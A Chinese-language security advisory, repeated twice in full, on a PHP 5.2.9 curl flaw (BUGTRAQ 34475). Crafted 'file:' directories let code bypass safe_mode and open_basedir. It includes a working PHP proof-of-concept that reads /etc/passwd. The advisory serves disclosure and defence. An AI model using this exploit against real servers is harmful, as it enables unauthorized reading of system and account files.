BUGTRAQ ID: 34475 PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。 PHP支持libcurl库,用户可以使用各种类型的协议连接到不同类型的服务器。curl函数在检查safe_mode和open_basedir限制时存在漏洞,可能允许用户绕过安全限制执行非授权操作。例如对于以下代码: curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd"); curl首先对以下内容检查safe_mode和open_basedir: "file:////etc/passwd" 接下来读取: "file:////etc/passwd" 如果恶意用户创建了类似于以下的虚拟树: ./file:/ ./file:/etc/ ./file:/etc/passwd/ /etc/hosts示例: ./file:/ ./file:/etc/ ./file:/etc/hosts/ 创建特殊的子目录就可以以其他用户权限执行文件。 - ---EXAMPLE-EXPLOIT--- mkDIR("file:"); chdir("file:"); mkDIR("etc"); chdir("etc"); mkDIR("passwd"); chdir(".."); chdir(".."); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd"); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); - ---EXAMPLE-EXPLOIT--- PHP 5.2.9 厂商补丁: PHP --- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: <a href=http://www.php.net target=_blank rel=external...
BUGTRAQ ID: 34475 PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。 PHP支持libcurl库,用户可以使用各种类型的协议连接到不同类型的服务器。curl函数在检查safe_mode和open_basedir限制时存在漏洞,可能允许用户绕过安全限制执行非授权操作。例如对于以下代码: curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd"); curl首先对以下内容检查safe_mode和open_basedir: "file:////etc/passwd" 接下来读取: "file:////etc/passwd" 如果恶意用户创建了类似于以下的虚拟树: ./file:/ ./file:/etc/ ./file:/etc/passwd/ /etc/hosts示例: ./file:/ ./file:/etc/ ./file:/etc/hosts/ 创建特殊的子目录就可以以其他用户权限执行文件。 - ---EXAMPLE-EXPLOIT--- mkDIR("file:"); chdir("file:"); mkDIR("etc"); chdir("etc"); mkDIR("passwd"); chdir(".."); chdir(".."); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd"); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); - ---EXAMPLE-EXPLOIT--- PHP 5.2.9 厂商补丁: PHP --- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: <a href=http://www.php.net target=_blank rel=external nofollow>http://www.php.net</a>